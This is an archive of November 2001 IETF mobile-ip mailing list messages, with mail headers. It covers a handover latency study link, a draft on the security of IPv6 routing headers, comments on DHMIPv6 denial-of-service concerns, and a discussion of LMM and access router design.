	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 09:39:56 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA00114
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 09:39:58 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA05215
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 10:40:20 -0700 (MST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fARHdu517343
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 09:39:56 -0800 (PST)
Message-ID: <007701c1776a$4e4a1080$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
References: <031c01c176c1$1b0431f0$0e02320a@T23KEMPF>
Subject: Re: [mobile-ip] Analysis and Comparison of Low Latency MIPv4 Handover Algorithms
Date: Tue, 27 Nov 2001 09:38:20 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Sorry, the link was wrong. The paper is at:

        http://geocities.com/kempf42/llanalysis.pdf

       jak

----- Original Message -----
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
Sent: Monday, November 26, 2001 1:27 PM
Subject: [mobile-ip] Analysis and Comparison of Low Latency MIPv4
Handover Algorithms


> Folks,
>
> Jon Wood and I did a study comparing PreReg, Postreg, and standard
MIPv4
> (SMIPv4) handoff. It is at http://www.geocities.com/llanalysis.pdf (it
> will shortly also appear at the DoCoMo Labs USA web site as well).
> Apologies for the paper format, but it is difficult to get fine
> depiction of experimental results in graphs using ASCII text. The
study
> describes implementation experience with the 2 low latency algorithms
> (some of which Jon has already posted to the list), and a series of
> experiments we performed to measure the sensitivity of all three
> algorithms to various components of handoff latency. Issues arising
from
> the study will be discussed in a slot at the Mobile IP Working Group
> Meeting at IETF 52. If you have any specific issues on the study
itself
> or the paper, please post them to the list.
>
>                     jak
>
>



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 13:05:21 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14258
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 13:05:07 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA17408;
	Tue, 27 Nov 2001 11:03:36 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA06824;
	Tue, 27 Nov 2001 10:03:43 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARI2p1V007266
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 10:02:51 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fARI2peR007265
	for mobile-ip-dist; Tue, 27 Nov 2001 10:02:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARI2l1V007258
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 10:02:48 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA02426
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 10:02:45 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA12673
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 11:02:45 -0700 (MST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fARI2i518583
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 10:02:44 -0800 (PST)
Message-ID: <011f01c1776d$7da63630$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
References: <0D3F1B25E75EE24483A6E69201142C86194D43@PARIS.synad.com>
Subject: Re: [mobile-ip] Analysis and Comparison of Low Latency MIPv4 Handover Algorithms
Date: Tue, 27 Nov 2001 10:01:08 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Try  http://geocities.com/kempf42/llanalysis.pdf.

        jak
----- Original Message -----
From: "Mike Moreton" <Mike.Moreton@synad.com>
To: <mobile-ip@sunroof.eng.sun.com>
Sent: Tuesday, November 27, 2001 12:36 AM
Subject: RE: [mobile-ip] Analysis and Comparison of Low Latency MIPv4
Handover Algorithms


> Jak,
>
> I don't think that can be the correct link...
>
> Mike
>
> > -----Original Message-----
> > From: James Kempf [mailto:kempf@docomolabs-usa.com]
> > Sent: 26 November 2001 21:27
> > To: mobile-ip@sunroof.eng.sun.com
> > Subject: [mobile-ip] Analysis and Comparison of Low Latency MIPv4
> > Handover Algorithms
> >
> >
> > Folks,
> >
> > Jon Wood and I did a study comparing PreReg, Postreg, and
> > standard MIPv4
> > (SMIPv4) handoff. It is at http://www.geocities.com/llanalysis.pdf
(it
> > will shortly also appear at the DoCoMo Labs USA web site as well).
> > Apologies for the paper format, but it is difficult to get fine
> > depiction of experimental results in graphs using ASCII text.
> > The study
> > describes implementation experience with the 2 low latency
algorithms
> > (some of which Jon has already posted to the list), and a series of
> > experiments we performed to measure the sensitivity of all three
> > algorithms to various components of handoff latency. Issues
> > arising from
> > the study will be discussed in a slot at the Mobile IP Working Group
> > Meeting at IETF 52. If you have any specific issues on the
> > study itself
> > or the paper, please post them to the list.
> >
> >                     jak
> >
> >
>
>
> **********************************************************************
> This email and any files transmitted with it are confidential and
> intended solely for the use of the individual or entity to whom they
> are addressed. If you have received this email in error please notify
> the system manager.
>
> This footnote also confirms that this email message has been swept
> for the presence of computer viruses.
>
> administrator at synad.com
> **********************************************************************
>



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 13:48:49 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA17064
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 13:48:49 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA24808;
	Tue, 27 Nov 2001 11:47:16 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA17311;
	Tue, 27 Nov 2001 10:47:21 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARIkE1V007530
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 10:46:14 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fARIkDfU007529
	for mobile-ip-dist; Tue, 27 Nov 2001 10:46:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARIkA1V007522;
	Tue, 27 Nov 2001 10:46:10 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA05022;
	Tue, 27 Nov 2001 10:45:46 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA23682;
	Tue, 27 Nov 2001 11:45:51 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fARIk7i19024;
	Tue, 27 Nov 2001 20:46:08 +0200
Date: Tue, 27 Nov 2001 20:46:07 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <ipng@sunroof.eng.sun.com>
cc: <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] I-D ACTION:draft-savola-ipv6-rh-ha-security-01.txt (fwd)
Message-ID: <Pine.LNX.4.33.0111272042440.18928-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.33.0111272042442.18928@netcore.fi>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hello folks,

Here's the revised edition of my draft on the security concerns of routing 
header and home address option.  These could potentially concern *every* 
IPv6 node.

Unless comments are very ipng related, I think most followups should go on
mobile-ip.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords

---------- Forwarded message ----------
Date: Tue, 27 Nov 2001 06:00:32 -0500
From: Internet-Drafts@ietf.org
To: IETF-Announce:  ;
Subject: I-D ACTION:draft-savola-ipv6-rh-ha-security-01.txt

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Security of IPv6 Routing Header and Home Address 
                          Options
	Author(s)	: P. Savola
	Filename	: draft-savola-ipv6-rh-ha-security-01.txt
	Pages		: 17
	Date		: 26-Nov-01
	
All IPv6 nodes must be able to process Routing Header [IPV6] and Home
Address [MIPV6] Options.  With these, packet filter access lists can
be tricked (among other things) as the destination and source
addresses, respectively, are being rewritten as the packet traverses
the network.  Some of the security considerations of these features
are analyzed, and a few possible solutions presented.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-savola-ipv6-rh-ha-security-01.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-savola-ipv6-rh-ha-security-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-savola-ipv6-rh-ha-security-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 14:43:25 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21272
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 14:43:24 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA08495;
	Tue, 27 Nov 2001 12:41:49 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA21392;
	Tue, 27 Nov 2001 11:41:28 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARJeq1V007725
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 11:40:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fARJeqTj007724
	for mobile-ip-dist; Tue, 27 Nov 2001 11:40:52 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARJem1V007717
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 11:40:48 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA21215
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 11:40:25 -0800 (PST)
Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA17998
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 12:40:49 -0700 (MST)
Received: from davir04nok.americas.nokia.com (davir04nok.americas.nokia.com [172.18.242.87])
	by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fARJfiQ18402
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 13:41:44 -0600 (CST)
Received: from daebh001.NOE.Nokia.com (unverified) by davir04nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T577a72054cac12f257079@davir04nok.americas.nokia.com> for <mobile-ip@sunroof.eng.sun.com>;
 Tue, 27 Nov 2001 13:40:47 -0600
Received: from daebe007.NOE.Nokia.com ([172.18.242.211]) by daebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Tue, 27 Nov 2001 13:40:29 -0600
content-class: urn:content-classes:message
Subject: [mobile-ip] draft-montenegro-mobileip-mipv6-seceval-00.txt
Date: Tue, 27 Nov 2001 13:40:47 -0600
Message-ID: <57A26D272F67A743952F6B4371B8F8115550E0@daebe007.NOE.Nokia.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Thread-Topic: I-D ACTION:draft-savola-ipv6-rh-ha-security-01.txt (fwd)
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
Thread-Index: AcF3dQUqep1WSeNnEdWJVQAIx6TWpQABffwA
From: "Le Franck (NRC/Dallas)" <Franck.Le@nokia.com>
To: <mobile-ip@sunroof.eng.sun.com>
X-OriginalArrivalTime: 27 Nov 2001 19:40:29.0390 (UTC) FILETIME=[5E8A76E0:01C1777B]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fARJem1V007718
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Hello,

Unfortunately we did not have the time to work on the assessment of
proposals yet, and we were thinking to submit a new version of the
[DHMIPv6] to improve some aspects of the mechanism; but we noticed that
some concerns (e.g. the heavy computation required by the Diffie Hellman
exchanges), that we wanted to address in the new version, have already
been raised in the "MIPv6 Security: Assessment of proposals" internet
draft.

Therefore please find below some comments about these issues: 

1)"1.3:P: DHMIPv6 does not rely on IKE but it relies optionally on AAA
as a key distribution infrastructure."

[DHMIPv6] describes a way to establish a security association between
the MN and the CN without requiring the presence of any AAA
infrastructure nor PKI.

2)"2.5:P: The cryptographic part of DHMIPv6 is exclusively based on
Diffie-Hellman algorithm.  No other algorithms that could be used to
securely generate the key are presented."

That is correct: DHMIPv6 suggests a way to establish the security
association based on the Diffie Hellman mechanism but if another
protocol/mechanism is preferred, DHMIPv6 does not prevent it.
We just need to make sure in the definition of the message format that
if the MN and the CN wish to use another mechanism, they can indicate
it.

3) "2.9:I: The number of message exchanges is somewhat large for setting
up a security association."
   
The internet draft [DHMIPv6] may not be clear but the mechanism only
requires 4 messages for the first authenticated binding update:
- one message from the MN to the CN to request to set up a SA
- one message from the CN to the MN (via the HA)
- the authenticated BU from the MN to the CN
- the authenticated binding acknowledgement from the CN to the MN

and then, for subsequent BU, the MN which has the session key can
directly authenticate the binding update.

4) "2.11:I: The method makes heavy use of DH exchanges."

That was one of the points we wanted to improve: We agree that the
current version may be vunerable to denial of service attacks, but there
are ways to solve it. E.g. the CN can use Cookie to prevent that. When
receiving the first message from the MN, the CN would respond with a
cookie the MN should re-send in the third message.
The CN should not reserve any memory state nor make any computation
before making sure the cookie is valid. The cookie could e.g. be
computed the same way as suggested in JFK
(http://search.ietf.org/internet-drafts/draft-ietf-ipsec-jfk-00.txt).
This would solve this issue.

Thank you,

Franck 


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 16:28:32 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25652
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 16:28:31 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA14564;
	Tue, 27 Nov 2001 13:26:28 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA28911;
	Tue, 27 Nov 2001 13:25:43 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARLNw1V008121
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 13:23:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fARLNw0w008120
	for mobile-ip-dist; Tue, 27 Nov 2001 13:23:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARLNs1V008113
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 13:23:54 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA19615
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 13:23:57 -0800 (PST)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA17015
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 13:23:57 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fARLNl004554
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 13:23:48 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAK08261;
	Tue, 27 Nov 2001 13:23:07 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA26055; Tue, 27 Nov 2001 13:23:42 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15364.1118.275867.497327@thomasm-u1.cisco.com>
Date: Tue, 27 Nov 2001 13:23:42 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
In-Reply-To: <3BFC5C48.ED2BCA05@cs.ucl.ac.uk>
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com>
	<3BFC3CCA.8750CDB1@cs.ucl.ac.uk>
	<3BFC45D1.A8AEFE9A@iprg.nokia.com>
	<15356.18648.291849.518694@thomasm-u1.cisco.com>
	<3BFC4D16.AD4707AA@cs.ucl.ac.uk>
	<3BFC58DF.26C6BF80@iprg.nokia.com>
	<3BFC5C48.ED2BCA05@cs.ucl.ac.uk>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Theo Pagtzis writes:
 > hmm....
 > 
 > IMHO we must keep the AR and LMM entities fused as one (tightly
 > coupled). The reason is that if you don't do that you introduce
 > immediately a routing overlay...on top of ARs..routing-wise I think this
 > is going to be non-optimal

If you're talking about the FMIP case where you
normally use it as a helper during the handoff,
rather than a semi-permanent pivot point (as with
HMIP), is the sub-optimality really the principle
concern? When I'm handing off from one AR to
another, it only matters that it's "fast enough"
to achieve the desire results. Being colocated
with the AR is probably the most optimal, but it
seems questionable whether we should preclude the
ability to place it elsewhere. For example,
suppose that I roam into an AR that for whatever
reason doesn't/won't support FMIP. Should I not
have the ability to use something else which is
good enough to achieve fast handovers even though
it won't achieve least cost routing? Sounds like a
plausible scenario to me, and keeps with the
general internet philosophy of unbundling
services.

		Mike

 > 
 > "Jari T. Malinen" wrote:
 > > 
 > > This reminds me that there was a question in the design team
 > > on what the autoconfiguration in the text refers to. In addition
 > > to setting up the capability advertisement in ARs, you say it also
 > > encompasses the MN operation on recognizing the capability.  This
 > > is clearer if there is also the text on LMM domain movement detection
 > > as a separate item.
 > 
 > yes perhaps we could accomodate such mention..it is not unreasonable
 > especially for spare LMM deployment..
 > 
 > > 
 > > Settling whether the AR/LMM domains are coupled/decoupled now may
 > > indeed help evaluation but it also may lead to the kind of dispute
 > > Mike was refering to: if we now say AR/LMM domains are the same or not,
 > > we create the kind of assumption that later may get challenged.
 > > To help evaluation when leaving it as a design space issue we may
 > > consider a basic design principle of making protocols independent of
 > > each other when possible.
 > 
 > beware..(see top) because if you do them independent...you effectively
 > talk about routing overlays..this is against aforementioned requirements
 > in the LMM req draft.
 > 
 > 
 > Theo
 > UCL/Mobile Systems
 > 
 > > 
 > > BR,
 > > 
 > > -Jari
 > > 
 > > Theo Pagtzis wrote:
 > > >
 > > > Hi Mike,
 > > >
 > > >   the issue of LMM detection pertains primarily on the established issue
 > > > for (auto)configuration of the LMM..since they have to advertise their
 > > > existence (or better LMM capability). Advertisment alone can effect one
 > > > level of indirection (let's put it this way) in the 'detection'
 > > > abstraction still at L3. How you do that is up to the LMM
 > > > autoconfiguration protocol but it has indeed been addressed in the
 > > > requirement space IMHO as the requirement for autoconfiguration...
 > > >
 > > > I would suggest we do not scratch this wound on this draft...there is _a
 > > > lot of space for another_ a pointer for it already exists though..
 > > >
 > > > So by just a single capability flag I can solve (very crudely) and fuse
 > > > the AR/LMM detection...the requirement is how to configure the thing to
 > > > do that cooperatively with an AR/LMM population and has been addressed I
 > > > am sure... (I wrote it.. :)
 > > >
 > > > Theo
 > > > UCL/Mobile Systems
 > > >
 > > > Michael Thomas wrote:
 > > > >
 > > > > Jari T. Malinen writes:
 > > > >  > For Mike: AR domain and LMM domain detection coupling/decoupling is
 > > > >  > a design space issue, if the former is always available and can indicate
 > > > >  > the presence of support for LMM, ok, it is just worth mentioning LMM domain
 > > > >  > detection is an issue whether provided separately or by e.g. AR domain
 > > > >  > detection.
 > > > >
 > > > >    Hmm. Putting it into design space makes it harder to
 > > > >    evaluate solutions by comparing them to requirements.
 > > > >    A somewhat similar argument erupted a while ago about
 > > > >    the assumption that the AAA and HA were always in the
 > > > >    same administrative realm. If we were drawing
 > > > >    up requirements for that, I'd say that that would
 > > > >    be a pretty important one to settle on. I'm
 > > > >    somewhat concerned that this could be a similar
 > > > >    case and that it would be better resolved in the
 > > > >    requirements phase rather than 6 months into
 > > > >    the design phase...
 > > > >
 > > > >               Mike


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 17:20:38 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27597
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 17:20:38 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA04639;
	Tue, 27 Nov 2001 15:18:58 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA12112;
	Tue, 27 Nov 2001 14:19:00 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARMI81V008531
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 14:18:08 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fARMI8nC008530
	for mobile-ip-dist; Tue, 27 Nov 2001 14:18:08 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from eastmail2.East.Sun.COM (eastmail2.East.Sun.COM [129.148.1.241])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARMI51V008523
